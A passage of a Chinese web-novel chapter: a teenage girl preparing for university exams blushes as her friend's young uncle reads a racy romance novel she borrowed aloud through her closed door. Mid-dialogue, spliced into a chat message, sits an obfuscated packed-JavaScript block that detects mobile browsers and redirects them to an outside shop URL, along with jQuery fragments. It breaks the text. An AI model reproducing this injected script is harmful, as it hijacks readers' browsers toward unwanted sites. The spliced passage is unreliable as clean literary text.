可徐暮枳不在乎自己什么星座,说了便说了,一副不求回应的样,余榆见状,也干脆将这事儿放进了心里。 她顿了顿,正经问道:“小叔,你谈过恋爱吗?或者说,有喜欢的人吗?” 红线快解开了。 徐暮枳注意力愈发集中,旁人问什么他便答什么,他散着声:“上学都忙着兼职赚钱了,哪儿来的时间想那些?” 余榆好奇:“兼职?” “嗯,家教、主持、模特……什么赚钱接什么。” 她也知道这事儿。起因是他不愿再麻烦徐家人,上了大学后便很少再往家里要钱。他拿的奖学金和助学金算都补贴了生活与学费,每回放假还有余钱带爷爷买衣服,给徐新桐买零食。 现在想想,那些支出大概都是这样一笔一笔赚来的。 思忖间,手上忽然一阵轻松,余榆低头,听见徐暮枳松快的声音:“行了。” 总算被解开,徐暮枳检查过,没什么耗损。 幸而老板娘也摇着扇子笑眯眯地看着她们俩,没有计较的意思。 “走了,去找爷爷。” 二人向老板娘道过歉后,离开了摊前。 大雄宝殿紧邻着观音,观音旁侧便是一处露天茶亭,徐新桐他们正在那里稍坐休息,等着余榆。 观音脚下,香火缭绕,一回身便是高台危梯。 观世音怜悯众生,千处祈求千处应。人人虔诚跪拜,抄经诵佛,却只有徐暮枳从这片香火里不经意地穿梭而过。 余榆没敢停留,亦步亦趋跟着他。 那天回程,徐新桐从口袋里掏出一条黑色水晶送给余榆。 小小的珠子手串,泛着幽幽的光。 徐新桐却说它的寓意是金榜题名。 “你想考协和,我想考央财,到时候咱俩一起去北京。” 余榆喜欢这种心意珍重的礼物,熊抱住徐新桐:“桐桐你对我真好,我一定要考上协和,我一定要考上!” 徐新桐被抱得喜滋滋的,仰着笑脸回抱余榆,嚷嚷着余榆我好喜欢你啊。 两人就这样在车后座嘻嘻哈哈了一路。 但从那天开始,余榆就下定了决心。 她规划的第一梯队是协和,难的却是她始终提不上去的文科类别。但这事儿在徐新桐眼里却简单得很,她常念叨要是余榆能把她的理综成绩给自己,自己的语文英语给余榆,何愁上不了清华北大? 她们以前这样打趣的时候,关小谢就会转着笔,白两人一眼。 关小谢玩闹归玩闹,学习却全能得很。所以人家有空在暑期出国旅游,而余榆和徐新桐却被补习班所累,愣是没能出逃半步。 她每天在家开听力磨耳朵,举着一本英语教材,甭管是坐着还是站着,最后都会变成躺着,然后听着听着便睡过去。 这种情况在八月初李书华高三放假后才有所好转。 迫于李书华的威严,余榆不得不硬着头皮上,她会给自己买上一杯咖啡,然后强行撬开自己薄弱到不堪一击的意志力。 只是这样好的态度摆在那里,效果却甚微。李书华的每周一测,余榆的英语成绩总是在90上下,难见长进。反观数学和理综,一点即通,一练一个精神,大学数学和大学物理更是研究得津津有味。 瞧着余榆这不上不下的模样,李书华晚上歇息时就会同余庆礼感慨,她家姑娘真是把所有的天赋都给了数学,语言这门课在她这儿真算是废了。 余庆礼就乐呵呵地说:那不挺好吗?虽然没文艺细胞,但走遍天下也不怕啊。 而彼时没有文艺细胞的余榆正躲在被窝里,同徐新桐聊天聊得欢快。 徐徐又捣捣:【鱼,你那小说我后面没看下去】 我是一条鱼:【?】 徐徐又捣捣:【小叔追妻火葬场,又是强制,又是罗曼蒂克,作者写得挺涩我还挺喜欢……本来好好的,结果看着看着,突然想起,我特么不是也有个小叔吗?妈呀太恶心了,这些情节谁带入得了啊?】 余榆看着那一长串的对话,沉默。 徐徐又捣捣:【你能吗?你能代入吗?徐暮枳哎?】 余榆:“……” 桐桐,我能。 她没敢回应,发了个表情包敷衍过去。 徐新桐却还在噼里啪啦地发消息给她:【算了这小说我看不下去了,我还是找找其他的吧。改天我还给你】 我是一条鱼:【好】 此后徐新桐再无动静,约莫又打游戏去了。 余榆对着黑屏的手机呆了好半晌,最后躺下身去,望着顶上虚无的天花板出神。 她这几日沉浸在想考北大协和部的执念里,逼着自己学了好多平时不爱学的东西。 其实以前也想考,但压根没这样好的决心。能让她这么坚持的,不过是甫一想起徐暮枳也是北大的,登时便有了动力。 如果说先前的规划志愿是出于对人生的最优解,那么现在,这则志愿似乎多了些不一样的光彩。 她想去看看他上过的大学,不仅如此,他今后也会一直在北京。 这种事一想起,便如同干巴巴的按部就班食下的蛋糕,突然就有了香甜味道和鲜亮的颜色。 这样想着想着,就睡了过去。 一夜无梦。 再醒过来时,就是被连番几条消息震醒。 李书华没来叫她,应是出门买菜还没回来。迷迷糊糊间,余榆拿起手机瞥了一眼时间,早上九点。 依然是徐新桐的消息。 【鱼,醒了吗?】 【这个点应该醒了吧?】 【我让小叔把书给你送过去了噢,我和关小谢去天街了,你要吃什么我给你带回来】 【鱼???】 【鱼!!!】 消息来自于五分钟前。 意识到自己看清了什么内容,余榆陡然一震,从床上跳了起来。 空调开着,冷气呼呼直吹。余榆那瞬间手脚冰凉,连打字都在颤抖。 【不用麻烦小叔,我待会儿自己去拿】 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16846616|191377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不,我现在就去!】 说完夺门而出,连鞋都没来得及穿。 余榆边走边抓着自己蓬乱的头发,尽可能地让自己不那么邋遢。可哪曾想,刚走到门口,便响起一阵敲门声。 咚咚咚。 仿佛催命的死神来临。 余榆冲出去的脚急急刹住。 这么快吗? 她屏住呼吸不敢动,生怕自己一点响动,外面的人便知晓这屋内有人。 咚咚咚。 外面的人不见回应,又加重了力道。 余榆蹑手蹑脚地走到门边,踮起脚,趴在猫眼上往外看。 果然看见了那张意料之中的帅气清爽的脸。 估计今日不必赶早,他才得空赶九点上班。 身上那件铅灰色T恤倒是没见过,应是近期新买的。不过今天怎么没带鸭舌帽?余榆狐疑,又掂高了脚,看见他手上果真捏着一顶还未来得及戴上的帽子。 以及,言情小说。 “……” 仿佛有什么东西刹那间扼住了她的喉咙。 《被绝色小叔肆意宠》。 当日觉得它有个取名直白的优势,如今却觉得简直要了自己老命。 这脸丢得大,她根本不敢开门面对。站在原地一动不动,最后干脆把心一横,就这么装死到底算了。 门外的徐暮枳见里面一直没声儿,还以为是徐新桐错判,皱了皱眉,又敲门试探道:“余榆?” 仅仅一门之隔,门内的人儿被这一声清晰突兀的喊叫吓得一哆嗦,碰到了旁侧的鞋架。 完蛋! 余榆稳住鞋架的时候想,他肯定知道她在家了,怎么办怎么办怎么办怎么办?! 徐新桐,我要杀了你!! 外面的徐暮枳确定听见里面有声音,怪异地询问过来:“余榆,你在里面?” 我不在我不在我不在!! 余榆捧住脸,靠在墙上手足无措。 开门会尴尬出翔,不开门嫌疑却更大。 进退不得,进退不得。 见里面还是没声,徐暮枳愈发怪异,不明所以地低头瞧了一眼手上的小说,又看了看紧闭不开的大门,忽然莞尔。 “我不告诉李老师,就当没看见,成吗?” 余榆:“……” 他好像误会了自己为什么有这样大反应。 只是她迈不过这道坎,默默祈祷他能懂点事,把书放在地上,安静离开。 然而徐暮枳这天却没顾虑到这茬。他在外面等了许久,抬表看了一眼时间,想着小姑娘不开门,自己又赶着去台里,老这么僵着算什么? 于是当机立断,故意使起了坏,慢条斯理道:“行,不开门是吧。那小叔念给你听。” 余榆倏然抬头:“?” 且不说这书的内容像没受审核似的,就说徐暮枳的那张照片也被余榆当作书签夹在里面,这要是看见了还怎么得了? 就这么一句话,余榆在门内快急疯了。 她不住地踮脚去看,看徐暮枳将书的封面来回翻转,对着书名深深地蹙了蹙眉,好似不太能理解这本书的受众。 然后他抱着怀疑,翻开了第一页。 男生读出声的时候压根没多想,顺着那行字便高声念起来:“夜色似水,树影婆娑。” 听见那些字眼,余榆猛地僵直了身。 世界仿佛有什么东西在轰隆隆地坍塌,将她一步步摧毁。 徐暮枳的声音没有停顿,继续传来:“别墅二楼的房间里灯火通明,却安静得掉根针都能听见。房间内……” 读到这儿,门外的人提前预览后续内容,已然意识到一丝不对劲儿,然而此时声音还没来得及完全收回,只随着字数,慢慢慢慢降低了声调,变成了某种默念: “霍暨的莽撞险些让淼淼断了腰身?……她玉葱般的十指无力却无助地攀附着男人后颈,宽阔的肩膀如同一座山,将她……” 越到最后,声音越来越小,越来越小。 然后,彻底没了声。